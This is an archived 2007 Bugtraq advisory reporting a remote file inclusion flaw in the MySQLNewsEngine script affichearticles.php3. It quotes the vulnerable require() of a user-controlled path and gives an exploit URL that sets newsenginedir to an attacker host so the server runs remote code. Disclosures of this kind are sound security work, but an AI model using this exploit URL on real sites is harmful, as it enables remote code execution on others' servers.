| lists.openwall.net | lists / announce owl-users owl-dev john-users john-dev passwdqc-users yescrypt popa3d-users / oss-security kernel-hardening musl sabotage tlsify passwords / crypt-dev xvendor / Bugtraq Full-Disclosure linux-kernel linux-netdev linux-ext4 linux-hardening linux-cve-announce PHC | |
|
Open Source and information security mailing list archives
| ||
|
Message-ID: <20070206201736.14362.qmail@securityfocus.com>
Date: 6 Feb 2007 20:17:36 -0000
From: gokhankaya@...mail.com
To: bugtraq@...urityfocus.com
Subject: MySQLNewsEngine (affichearticles.php3) Remote File Inc. Vuln.
# Title : MySQLNewsEngine (affichearticles.php3) Remote File Inc. Vuln.
# Author : Blaster, CanberX
# Contact : msn@...ster.net | gokhankaya@...mail.com
# Download : http://www.comscripts.com/jump.php?action=script&id=625
#
#
# Vuln code : affichearticles.php3
#
# $sigfile = $newsenginedir . "include/signature.inc";
#
# require("$sigfile");
# http://[site]/[path]/affichearticles.php3?newsenginedir=[attacker]
#
#
# GreetZ: BLaCKWHITE, LGMAN, HackerBox.Eu,
# HackerBox Group Turkey !
Powered by blists - more mailing lists